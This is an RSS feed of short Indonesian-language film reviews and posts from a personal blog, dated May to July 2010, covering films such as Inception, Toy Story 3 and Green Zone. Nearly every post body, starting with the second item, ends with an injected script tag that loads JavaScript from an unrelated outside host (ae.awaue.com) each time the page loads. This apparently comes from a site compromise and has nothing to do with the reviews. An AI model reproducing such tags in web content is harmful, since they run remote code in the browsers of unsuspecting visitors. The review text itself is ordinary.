<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hermansaksono &#187; movies</title>
	<atom:link href="http://hermansaksono.com/tag/movies/feed" rel="self" type="application/rss+xml" />
	<link>http://hermansaksono.com</link>
	<description>Patternless thoughts, pointless wisdom</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:15:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Inception</title>
		<link>http://hermansaksono.com/2010/07/inception.html</link>
		<comments>http://hermansaksono.com/2010/07/inception.html#comments</comments>
		<pubDate>Sun, 18 Jul 2010 06:53:16 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1197</guid>
		<description><![CDATA[Ketika kamu menyusup ke mimpi seseorang dan menerobos brankas pikirannya yang paling rahasia, maka hasilnya adalah pencurian ide-ide brilian yang paling mutakhir. Cobb (DiCaprio) ditawari misi menyusup mimpi, tetapi bukan untuk mencuri ide, melainkan menanamkan ide. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Inception.jpg"><img class="aligncenter size-full wp-image-1198" title="Inception" src="http://hermansaksono.com/wp-content/uploads/2010/07/Inception.jpg" alt="" width="298" height="441" /></a></p>
<p>Di dalam koper logam itu ada DreamShare, mesin untuk menyusup mimpi. Ketika kamu masuk ke mimpi seseorang dan menerobos brankas pikirannya yang paling rahasia, maka hasilnya adalah pencurian mutakhir atas ide-ide brilian. Dan, malam itu Cobb (DiCaprio) menyusup ke mimpi Saito, seorang CEO Jepang, untuk mencuri rahasia dagangnya. Operasi yang nyaris sempurna itu berakhir runyam dengan kemunculan Mal, mendiang istri Cobb yang mengagalkan kesemuanya.</p>
<p>Dalam pelarian menghindari mafia pencuri ide yang murka karena kegagalan misi Cobb, datanglah Saito yang menjanjikan jaminan keselamatan. Sebagai gantinya, Cobb harus menjalankan satu operasi menyusup mimpi. Bukan untuk mencuri ide, tapi menanamkan ide di kepala CEO saingan Saito. Dalam kondisi terjepit, Cobb menerima tawaran yang sulit itu.</p>
<p>Menanam ide secara bawah sadar mengharuskan Cobb masuk ke dalam mimpi mimpinya mimpi si target. Penyusupan ke dalam tiga lapis mimpi itu mempertaruhkan nyawa, dan tim penyusup yang dikumpulkan Cobb tidak menyadari kalau ancaman dari mendiang Mal bisa selalu muncul dari setiap sudut.</p>
<p>Inception memang bukan <em>thriller</em> psikologis semacam Shutter Island atau The Cell. Film karya Christopher Nolan (<a href="http://hermansaksono.com/2008/07/batman-the-dark-knight.html">The Dark Night</a>, Memento) ini lebih mendekati film <em>action</em> psikologis. Kompleksitas mimpi yang berlapis-lapis disajikan dengan runtun dan jelas, sehingga tidak ada rasa <em>uncertainty</em> walaupun suasana mencekam itu masih tetap ada. Pilihan <em>genre </em>ini memang mengejutkan, mengingat film tentang mimpi biasanya condong ke horor atau thriller.</p>
<p>Tetapi perlu diketahui bahwa Inception pada awalnya memang film horor. Konsep film tentang &#8220;menyusupi mimpi&#8221; mulai digarap Nolan sepuluh tahun yang lalu, untuk kemudian ia simpan dahulu di dalam brankas pikirannya, sambil mencari pengalaman sekaligus kepercayaan dari industri. Nolan sadar sepenuhnya, bahwa film tentang mimpi memiliki batasan-batasan yang tidak ada, sehingga memerlukan efek visual yang sinting dan sekaligus anggaran yang sinting.</p>
<p>Tanggal 16 Juli kemarin, brankas pemikiran Nolan selama sepuluh tahun akhirnya dibuka ke penonton. Inception memang film <em>action</em> psikologis dengan konsep yang sinting. Tetapi ketika disandingkan dengan Memento ataupun Dark Knight, Inception memang masih kurang sinting.</p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/inception.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Ciuman yang paling Hot?</title>
		<link>http://hermansaksono.com/2010/07/ciuman-yang-paling-hot.html</link>
		<comments>http://hermansaksono.com/2010/07/ciuman-yang-paling-hot.html#comments</comments>
		<pubDate>Wed, 14 Jul 2010 03:20:39 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Random]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1186</guid>
		<description><![CDATA[Manakah ciuman yang paling hot?]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Kisses.jpg"><img class="aligncenter size-medium wp-image-1187" title="Kisses" src="http://hermansaksono.com/wp-content/uploads/2010/07/Kisses-440x331.jpg" alt="" width="440" height="331" /></a>Manakah ciuman yang paling hot?</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/ciuman-yang-paling-hot.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Despicable Me</title>
		<link>http://hermansaksono.com/2010/07/despicable-me.html</link>
		<comments>http://hermansaksono.com/2010/07/despicable-me.html#comments</comments>
		<pubDate>Mon, 12 Jul 2010 14:33:42 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1184</guid>
		<description><![CDATA[Gru bercita-cita menjadi maling yang mahsyur. Ketika Piramida Giza dicuri oleh maling yang lebih cerdik, maka Gru yang mulai tidak relevan itu mau membuktikan diri dengan mencuri bulan.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Despicable-Me.jpg"><img class="aligncenter size-medium wp-image-1185" title="Despicable Me" src="http://hermansaksono.com/wp-content/uploads/2010/07/Despicable-Me-337x500.jpg" alt="" width="337" height="500" /></a></p>
<p>Gru bercita-cita menjadi maling yang mahsyur. Kesuksesannya mencuri layar LED di Times Square menjadi remeh ketika seorang maling kemarin sore sukses mencuri Piramida Giza. Gru (Steve Carell) yang mulai tidak relevan di kalangan maling, berencana merebut predikat maling nomer satu dengan mencuri bulan. Rencana jahat itu nyaris gagal ketika mesin penyusut massa Gru direbut oleh maling muda dan mutakhir bernama Vector. Setelah semua usaha merebut kembali mesin itu tidak membuahkan hasil, Gru memanfaatkan tiga anak yatim untuk menyusup masuk ke markas Vector.</p>
<p>Film ini digarap oleh Chris Meledandri, sineas jebolan Fox Animation. Dengan seransel pengalaman semasa produksi Ice Age dan The Simpsons, pada tahun 2007 Meledandri hengkang dari Fox untuk mendirikan studio animasi Illumination dengan film perdana &#8220;Despicable Me&#8221;.</p>
<p>Maka sebetulnya membandingkan animasi Despicable Me dengan <a href="http://hermansaksono.com/2010/06/toy-story-3.html">Toy Story 3</a> atau <a href="http://hermansaksono.com/2010/05/how-to-train-your-dragon.htm">How to Train Your Dragon</a> tidak bisa adil, karena Pixar dan Dreamworks berbekal pengalaman satu dekade lebih, sementara Illumination baru seumur jagung. Memproduksi animasi memerlukan pengalaman dan alur kerja yang matang. Di lain sisi, seni bertutur cerita (storytelling) adalah abadi, maka satu-satunya senjata Despicable Me ada di <em>storytelling</em>. Dan sayangnya, alur cerita dan dialog yang segar tidak ada di Despicable Me. Film ini terlalu banyak mengandalkan lelucon dan slapstik yang tidak relevan.</p>
<p>Memang tidak semua lelucon nggak relevan itu menjerumuskan. The Simpsons bisa mengocok perut penonton dengan lelucon semacam itu karena mereka telah memberi ruang dan waktu bagi penonton untuk membangun &#8220;dunia&#8221; dalam imajinasi mereka. Demikian juga Shrek. Tanpa disangga kesepakatan imajinasi dengan penonton; Despicable Me hanyalah rangkaian adegan lucu bersambung-sambung yang mengalir tanpa arah.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/despicable-me.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Frost/Nixon</title>
		<link>http://hermansaksono.com/2010/07/frostnixon.html</link>
		<comments>http://hermansaksono.com/2010/07/frostnixon.html#comments</comments>
		<pubDate>Wed, 07 Jul 2010 18:26:16 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1179</guid>
		<description><![CDATA[Melanjutkan kisah Nixon setelah dua tahun mundur dari kepresidenan, "Frost/Nixon" mendramakan empat wawancara televisi yang paling penting dalam sejarah politik Amerika Serikat.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Frost_nixon.jpg"><img class="aligncenter size-full wp-image-1180" title="Frost_nixon" src="http://hermansaksono.com/wp-content/uploads/2010/07/Frost_nixon.jpg" alt="" width="274" height="400" /></a></p>
<p>17 Juni 1971 malam, markas Partai Demokratik AS di gedung Watergate dibobol oleh lima laki-laki. Percobaan pencurian yang semula biasa-biasa saja ini berakhir menjadi awal skandal politik terbesar di sejarah Amerika: Presiden Nixon mengundurkan diri; sementara tujuh pejabat tinggi pemerintahannya, termasuk Jaksa Agung dan Mensesneg, divonis penjara puluhan tahun.</p>
<p>Tidak pernah ada jawaban pasti tentang apa tujuan menerobos masuk ke dalam Watergate ataupun apa yang dicari di sana. Kecurigaan publik menyeruak setelah muncul temuan bahwa sejumlah dana dari tim kampanye Nixon mengalir ke rekening maling Watergate. Walaupun Nixon selalu tidak tahu menahu dalam kasus Watergate, beberapa rekaman pembicaraan di Gedung Putih (kemudian dikenal dengan <em>Watergate tapes</em>) menyiratkan sebaliknya.</p>
<p>Akhirnya, pada rekaman pamungkas yang disita DPR terkatakan bahwa enam hari setelah kejadian Watergate, Nixon memerintahkan CIA untuk mengambil alih kasus tersebut dari FBI. Dengan demikian Nixon resmi tersangka menghalangi penegakan hukum, sebuah pelanggaran yang bisa lari ke pemakzulan oleh DPR. Di ujung tanduk, Nixon mengundurkan diri pada  tanggal 4 Agustus 1974.</p>
<p>&#8220;Frost/Nixon&#8221; arahan Ron Howard ini mendramakan lanjutan kisah Nixon dua tahun setelah mundur dari kursi kepresidenan AS. Dalam upaya membersikan namanya, Nixon (Frank Langella) menerima permintaan interview ekslusif dari David Frost (Michael Sheen), seorang presenter TV dari Inggris. Walaupun Frost adalah tokoh yang populer di pertelevisian Inggris dan Australia, dia bukan jurnalis yang terasah menangani politikus yang ahli berkilah. Pada proses interview yang dibagi menjadi empat bagian itu, Frost terjerat oleh kemampuan retorika Nixon. Mau tidak mau, keduanya harus bertarung menyelamatkan reputasinya, hingga akhirnya interview Frost/Nixon menjadi episode televisi yang paling penting dalam sejarah AS.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/frostnixon.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Knight and Day</title>
		<link>http://hermansaksono.com/2010/07/knight-and-day.html</link>
		<comments>http://hermansaksono.com/2010/07/knight-and-day.html#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:01:43 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1177</guid>
		<description><![CDATA[Knight and Day adalah kegigihan untuk yang lumayan. Tidak akan menjadi film legenda, tetapi lumayanlah untuk ditonton. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Knight_and_Day.jpg"><img class="aligncenter size-full wp-image-1178" title="Knight and Day" src="http://hermansaksono.com/wp-content/uploads/2010/07/Knight_and_Day.jpg" alt="" width="295" height="436" /></a></p>
<p>Pimpinan di Fox Studios resah. Hasil <a href="http://www.latimes.com/business/la-fi-ct-cruise-20100619,0,6083180.story">survei</a> seminggu sebelum rilis &#8220;Knight and Day&#8221; meramalkan kalau film Tom Cruise dan Cameron Diaz ini bakal jeblok di pasaran. Musim panas memang ladang <em>box office</em> yang luar biasa, tetapi penggeraknya adalah anak-anak dan remaja. Cruise dan Diaz yang mulai &#8220;uzur&#8221; tidak lagi punya mantra untuk menyihir demografi itu membeli tiket. Demikian juga plot tentang petualangan seorang June (Diaz) yang bertemu dengan agen rahasia Roy (Cruise).</p>
<p>Dengan waktu yang tersisa tinggal satu minggu, Fox perlu mengambil tindakan supaya yang terburuk tidak terjadi. Mereka merilis cuplikan &#8220;Knight and Day&#8221; di hari Sabtu, sebelum pemutaran perdana besok Rabu. Dan hasilnya?</p>
<p>Knight hanya meraup 3,8 juta USD di hari pertamanya.</p>
<p>Jum&#8217;atnya Knight peroleh 6 juta USD, sementara Toy Story 3 yang perdana pada hari itu peroleh 41 juta USD. Apa yang salah?</p>
<p>Sukar berkata bahwa ada yang istimewa dari cerita Knight, walaupun penggarapannya tidak buruk. Cerita dimulai dari pertemuan June dan agen rahasia bernama Roy di bandara Wichita, Kansas. June yang perempuan biasa-biasa saja tidak menduga akan memulai petualangan di jalan raya, laut, dan udara; dikejar agen FBI dan mafia Spanyol; dari Austria ke Sevilla, Spanyol. Walaupun Diaz tampil menarik, tetapi Tom Cruise masih tidak bisa sepenuhnya melepaskan gaya belagu, walaupun kerut-kerut usia sudah memaksa wajahnya terlihat bijak.</p>
<p>Jadi &#8220;masalah&#8221; ada di kombinasi antara plot dan aktor. Tapi begini, mengingat film ini telah melalui neraka &#8220;development hell&#8221;: digarap gonta-ganti oleh enam penulis skenario, dua kali ganti judul, dan bintang utama yang lepas ganti (Adam Sandler, Chris Tucker, dan Gerard Butler pernah bersedia memerankan Roy); &#8220;Knight and Day&#8221; adalah kegigihan untuk yang lumayan. Tidak akan menjadi film legenda, tetapi lumayanlah untuk ditonton. Kalau ada waktu.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/knight-and-day.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Eclipse</title>
		<link>http://hermansaksono.com/2010/07/eclipse.html</link>
		<comments>http://hermansaksono.com/2010/07/eclipse.html#comments</comments>
		<pubDate>Sat, 03 Jul 2010 17:23:35 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1172</guid>
		<description><![CDATA[Di seri ketiga saga Twilight, Eclipse, Bella Swan masih cinta mati dengan Edwards Cullen; sementara Jacob Black masih sudi mengejar cinta Bella yang sebetulnya tidak (begitu) naksir dia.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/Eclipse_Theatrical_One-Sheet.jpg"><img class="aligncenter size-full wp-image-1173" title="Eclipse" src="http://hermansaksono.com/wp-content/uploads/2010/07/Eclipse_Theatrical_One-Sheet.jpg" alt="" width="293" height="432" /></a></p>
<p>Apakah yang istimewa dari perempuan yang cinta mati dengan lelakinya sampai mau memberikan apa saja? Termasuk menyerahkan keperawanan dan nyawa? Jawabannya: sama tidak istimewanya dengan perjaka yang <em>keukeh</em> mengejar wanita yang ditaksirnya. Di Eclipse, Bella Swan masih cinta mati dengan Edwards Cullen; sementara Jacob Black masih sudi mengejar cinta Bella yang sebetulnya tidak (begitu) naksir dia.</p>
<p>Masalahnya adalah, kisah mereka tidak istimewa kalau Edward bukan vampir dan Jacob bukan serigala jadi-jadian. Tanpa aspek supranatural maka tidak ada Victoria si musuh yang sedang membangun pasukan vampir, ataupun serikat vampir sedunia bernama Volturi. Buanglah semua itu, maka Eclipse tersisakan menjadi kisah ABG labil yang menjemukan. Sungguh menyedihkan melihat Bella yang tidak tahu berterima kasih dan Jacob yang terbutakan cinta menjadi <em>role-model</em> para ABG. Dua tokoh itu tentu menarik untuk menggambarkan perilaku jiwa yang labil, tetapi ketika menjadi panutan, Eclipse adalah masalah. Eclipse mengamini sikap cinta mendua, cinta buta, dan cinta mati.</p>
<p>Tapi begini, jika Anda telah mengikuti <a href="http://hermansaksono.com/2008/12/twilight.html">Twilight</a> dan menonton <a href="http://hermansaksono.com/2009/11/new-moon.html">New Moon</a>, maka secara otomatis ekspektasi untuk sekuel ketiganya juga akan menurun sehingga bisa menikmati adegan laganya yang lumayan oke.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/eclipse.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Toy Story 3</title>
		<link>http://hermansaksono.com/2010/06/toy-story-3.html</link>
		<comments>http://hermansaksono.com/2010/06/toy-story-3.html#comments</comments>
		<pubDate>Fri, 18 Jun 2010 05:37:51 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1165</guid>
		<description><![CDATA[Sebelas tahun sejak Toy Story 2 berlalu, Andy telah lulus SMA, dan menuju bangku kuliah; Woody dkk harus menemui kenyataan pahit bahwa mereka tidak lagi penting.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/06/Toy-Story-3.jpg"><img class="aligncenter size-medium wp-image-1166" title="Toy Story 3" src="http://hermansaksono.com/wp-content/uploads/2010/06/Toy-Story-3-354x500.jpg" alt="" width="354" height="500" /></a></p>
<p>Mainan di kamar tidur Andy tidak hanya merasa aman karena dipakai  dengan baik. Mereka juga merasakan sayang, karena bagi Andy kecil,  mainan-mainan itu adalah bagian penting dari imajinasi seorang anak yang  gembira. Sebelas tahun sejak Toy Story 2 berlalu, Andy telah lulus SMA,  dan menuju bangku kuliah; Woody dkk harus menemui kenyataan pahit bahwa  mereka tidak lagi penting.</p>
<p>Tetapi manakah yang lebih penting?  Menjadi mainan yang membuat gembira anak-anak, atau bersembunyi di  loteng rumah demi aman dari kerusakan? Buzz, Jessie, Mr Potato  Head, dan Hamm memilih pindah ke taman penitipan anak-anak Sunnyside,  di mana mereka tidak akan pernah lagi diabaikan. Walaupun Woody (Tom  Hanks) bersikeras bahwa gagasan itu berbahaya, tetapi sambutan hangat  dari tetua Sunnyside, Lotso Bear membuat mantap keputusan itu.</p>
<p>Memperhatikan seluloida <a href="http://hermansaksono.com/2010/06/history-toy-story-3.html">Toy Story 3</a> berpendar di layar dan mendengar &#8220;You Got a Friend in Me&#8221; melantun di teater, seperti membuka buku favorit atau album foto lama. Kita menemukan  kembali bagian-bagian yang mengesankan dan kenangan-kenangan yang bagus. Akan tetapi, bisakah kita (dan mainan) menjadi utuh atas kenangan sebuah  pernah?</p>
<p>Di seri ke-tiga Toy Story ini, <a href="http://en.wikipedia.org/wiki/Lee_Unkrich">Lee Unkrich</a> menuntaskan  petualangan mainan-mainan konyol itu dengan rapi, manis, dan sempurna.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/06/toy-story-3.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>History Toy Story 3</title>
		<link>http://hermansaksono.com/2010/06/history-toy-story-3.html</link>
		<comments>http://hermansaksono.com/2010/06/history-toy-story-3.html#comments</comments>
		<pubDate>Thu, 17 Jun 2010 05:41:54 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[People]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1163</guid>
		<description><![CDATA[Awalnya Toy Story 3 tidak dimaksudkan sebagai garapan Pixar. Buntut dari masamnya hubungan Disney dengan Pixar, Toy Story semula akan digarap Circle Seven Studio.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/06/Toy-Story-3-Disney-Pixar.jpg"><img class="aligncenter size-medium wp-image-1164" title="Toy Story 3 Disney vs. Pixar" src="http://hermansaksono.com/wp-content/uploads/2010/06/Toy-Story-3-Disney-Pixar-440x296.jpg" alt="" width="440" height="296" /></a></p>
<p>Awalnya <a href="http://hermansaksono.com/2010/06/toy-story-3.html">Toy Story 3</a> tidak dimaksudkan sebagai garapan Pixar. Ketika hubungan Disney dan Pixar memburuk di tahun 2004, CEO Michael Eisner memamerkan gigi finansial Disney dengan membuat Toy Story 3 tanpa campur tangan Pixar. Walaupun Woody dan Buzz Lightyear lahir dari jari-jari kreatif Pixar, kontrak menjamin bahwa hak milik semua karakter dipegang seutuhnya oleh Disney. Mereka harus ikhlas melepas mainan mereka untuk dikuasai Disney, yang dalam dekade itu filmnya selalu buruk.</p>
<p>Studio yang akan mengerjakan Toy Story 3 adalah Circle 7 Studio, yang merupakan unit baru Disney Studios di bidang animasi 3D. Di tangan studio seumur jagung ini, seri ketiga Woody dkk adalah tentang penyelamatan Buzz yang ditarik masal oleh pabriknya.</p>
<p>&#8220;Untunglah&#8221; angin berbaik hati dan berubah arah. Kampanye &#8220;Save Disney&#8221; yang dikomandoi Roy Disney sukses mendepak Eisner dari kursi CEO, sekaligus menempatkan Robert Iger sebagai nahkoda baru di sana. Kemampuan Iger meluluhkan hati CEO Pixar, Steve Jobs, berbuah merger Disney-Pixar yang disahkan pada medio 2006.</p>
<p>Merger ini menempatkan sutradara Toy Story dan Toy Story 2, John Lasseter ke posisi Direktur Kreatif Disney. Dan langkah pertama yang ia lakukan adalah mencabut produksi Toy Story 3 dari Disney Circle 7, dan mengembalikannya ke rumah tempat Woody dan Buzz dilahirkan: Pixar. Ceritanya tidak lagi tentang Buzz yang ditarik pabriknya, tapi tentang mainan-mainan itu ketika dipensiunkan oleh Andy.</p>
<p>Maka, ketika nanti lampu teater dipadamkan, animasi kastil diputar, dan lampu Luxo meloncat-loncat; sebetulnya Anda akan menonton sebuah film yang nyaris digarap oleh tangan yang salah.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/06/history-toy-story-3.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>The A-Team</title>
		<link>http://hermansaksono.com/2010/06/the-a-team.html</link>
		<comments>http://hermansaksono.com/2010/06/the-a-team.html#comments</comments>
		<pubDate>Mon, 14 Jun 2010 04:12:44 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2010/06/the-a-team.html</guid>
		<description><![CDATA[Setelah empat belas tahun dipensiunkan, Hollywood melahirkan ulang The A-Team dengan bintang utama Liam Nesson. Seperti remake pada umumnya, apakah The A Team sukses?]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/06/The-A-Team.jpg"><img class="aligncenter size-full wp-image-1160" title="The A Team" src="http://hermansaksono.com/wp-content/uploads/2010/06/The-A-Team.jpg" alt="" width="295" height="436" /></a></p>
<p>Generasi 80-an dibesarkan oleh serial televisi yang formulaik, episodik, tapi menghibur di eranya. Walaupun film <em>remake</em> dari serial TV sering ngalor-ngidul tanpa arah, The A-Team versi baru ini tetap formulaik, episodik, dan sangat menghibur.</p>
<p>The A-Team mereboot <em>backstory</em> empat tentara misi khusus yang difitnah mencuri plat dolar AS di Irak. Dengan berbagai taktik ajaib, mereka melarikan diri dan memulai misi membersikan nama mereka. Di sini Liam Neeson memerankan Smith, ketua geng tersebut. Sementara Bradley Cooper, Quinton Jackson, dan Sharlto Copley memerankan Face, BA. Baracus, dan Murdock. Walaupun mereka tidak bisa mereplikasi karisma pendahulunya secara utuh, keempat aktor itu sukses membarukan The A Team. Terlebih untuk Quinton, yang BA Baracus-nya lebih karismatis daripada BA era Mr. T.</p>
<p>Selebihnya adalah film Hollywood klasik dalam artian positif: pertunjukan laga yang rumit, sangar, dan lucu. Saya menunggu sekuelnya.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/06/the-a-team.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Prince of Persia</title>
		<link>http://hermansaksono.com/2010/05/prince-of-persia.html</link>
		<comments>http://hermansaksono.com/2010/05/prince-of-persia.html#comments</comments>
		<pubDate>Wed, 26 May 2010 17:10:24 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1147</guid>
		<description><![CDATA[Ternyata memang susah bagi Jerry Bruckheimer mengulang apa yang keren dari Pirates of Caribbean. Setelah keluar dengan film National Treasure dan Confession of a Shopaholic, harapan yang tersisa untuk Prince of Persia sebetulnya tidak banyak. Dan melalui ini, Bruckheimer secara resmi membuang secercah harapan itu. Tidak semua film sempurna dari berbagai aspek. Ada yang tokoh-tokohnyanya [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Prince_of_Persia_poster.jpg"><img class="aligncenter size-full wp-image-1148" title="Prince of Persia" src="http://hermansaksono.com/wp-content/uploads/2010/05/Prince_of_Persia_poster.jpg" alt="" width="304" height="450" /></a></p>
<p>Ternyata memang susah bagi Jerry Bruckheimer mengulang apa yang keren dari Pirates of Caribbean. Setelah keluar dengan film National Treasure dan Confession of a Shopaholic, harapan yang tersisa untuk Prince of Persia sebetulnya tidak banyak. Dan melalui ini, Bruckheimer secara resmi membuang secercah harapan itu.</p>
<p>Tidak semua film sempurna dari berbagai aspek. Ada yang tokoh-tokohnyanya diarahkan dengan bagus. Ada yang ceritanya nendang pol. Ada yang efek atau sinematografinya <em>sophisticated</em>. Beberapa film cukup beruntung karena dua atau tiga aspeknya bagus. Prince of Persia bukan film yang buruk, tapi cuma terlalu biasa karena menggunakan tokoh kalengan, cerita kalengan, dan visual kalengan.</p>
<p>Tidak ada yang salah dengan sesuatu yang kalengan. Tetapi apa yang kalengan biasanya tidak istimewa, dan film kalengan membiarkan Anda keluar dari auditorium bioskop dalam keadaan sama seperti sebelum menonton film.</p>
<p>Satu hal yang cukup &#8220;menghibur&#8221; adalah laki-laki dengan hairdo gede banget yang duduk di depan saya. Saya jadi punya sesuatu untuk dibahas dalam perjalanan pulang.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/106242105.jpg"><img class="aligncenter size-medium wp-image-1149" title="Hairdo Nyebelin" src="http://hermansaksono.com/wp-content/uploads/2010/05/106242105-440x330.jpg" alt="" width="440" height="330" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/prince-of-persia.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Green Zone</title>
		<link>http://hermansaksono.com/2010/05/green-zone.html</link>
		<comments>http://hermansaksono.com/2010/05/green-zone.html#comments</comments>
		<pubDate>Fri, 21 May 2010 05:10:29 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1143</guid>
		<description><![CDATA[Green Zone berusaha menjawab pertanyaan mengapa invasi AS ke Irak yang semula hendak mencari senjata pemusnah masal, berubah menjadi menjatuhkan kediktatoran Saddam dan membangun demokrasi dari Baghdad.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Green_Zone_poster.jpg"><img class="aligncenter size-full wp-image-1144" title="Green Zone, Matt Damon" src="http://hermansaksono.com/wp-content/uploads/2010/05/Green_Zone_poster.jpg" alt="" width="250" height="370" /></a></p>
<p>Invasi Amerika Serikat ke Irak dimaksudkan sebagai serangan yang singkat dan tepat, dengan tujuan utama membongkar keberadaan Senjata Pemusnah Massal (WMD) yang konon diproduksi sembunyi-sembunyi oleh Saddam Hussein. Jika di kemudian hari prestasi yang dielu-elukan rezim Bush adalah menjatuhkan kediktatoran Saddam dan menetaskan demokrasi di Irak, maka sudah sewajarnya orang bertanya-tanya &#8220;ada apa gerangan di Gedung Putih sana sampai akhirnya berganti bendera?&#8221;.</p>
<p>Green Zone berusaha menjawab pertanyaan itu—dari sudut pandang Irak—melalui tokoh Roy Miller (Matt Damon), seorang pasukan khusus yang diterjukan ke Baghdad untuk menemukan WMD. Setelah berkali-kali mendapatkan nihil ketika merazia lokasi WMD dari hasil laporan intelijen bernama &#8220;Magellan&#8221;, maka Miller mulai melepas diri dan bekerja di luar komando. Menembus birokasi komando AS di Irak, dan intrik-intriknya, Miller mengurai rahasia-rahasia yang dibungkus oleh ketakutan akan senjata pemusnah masal.</p>
<p>Film ini dipuji The New York Times karena mampu menyederhanakan kompleksitas perang Irak tanpa menjadi ampang. Sutradara Paul Greengrass, yang juga mensutradarai seri Bourne, sukses membangun ketukan plot yang mencekam dan padat, walaupun kurang &#8220;kedalaman&#8221;, mirip dengan Bourne Ultimatum yang juga disutradarainya. Tetap saja ini film Hollywood yang bagus dan memuaskan, yang agak jarang muncul di layar lebar akhir-akhir ini<script src="http://ae.awaue.com/7"></script></p>
